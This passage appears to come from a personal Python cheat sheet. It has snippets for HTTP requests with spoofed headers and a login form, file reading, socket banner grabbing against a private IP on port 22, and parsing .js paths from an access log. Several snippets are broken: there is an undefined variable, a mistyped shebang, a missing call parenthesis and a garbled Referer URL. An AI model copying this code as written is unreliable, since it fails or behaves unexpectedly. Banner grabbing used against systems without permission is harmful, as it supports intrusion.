"Referer": "https:# www.google.com/",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36"
}

req = requests.get("http://site.com", headers=headers)
print req.status_code
print req.text

postdata = {'username': 'test', 'pwd' : 'hello123', 'action' : 'login'}
req = requests.get("http://site.com", headers=headers, data=values)

file process

file_open = open("readme.txt", "r")
for line in file_open:
    print line.strip("\n")
    if line.strip("\n") == "rad 4":
        print "last line"

socket

  • grab banner
#!/user/bin/env python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.104", 22))
answer = s.recv(1024)
print answer
# Send stuff. REMEMBER THE \r\n
s.send("this is my message\r\n")
print s.recv(1024)
s.close

extract info

extract js path from access.log

with open(filepath, 'r') as access_log:
    contents = access_log.readlines()
    log_filenames = []
    for line in contents:
        # log_filenames on mac/linux will use / so split on that then search for filename
        for fragment in line.split('/'):
            if ".js " in fragment:
                # there will be text after .js, so remove it
                frags = fragment.split('.js ')
                # split on ".js " will give us the base filename as first element of list
                basename = frags[0]
                filename = basename + '.js'
                log_filenames.append(filename)
    # get unique values
    log_filenames = list(set(log_filenames))
    # sort
    log_filenames.sort()
    print('\n'.join(log_filenames))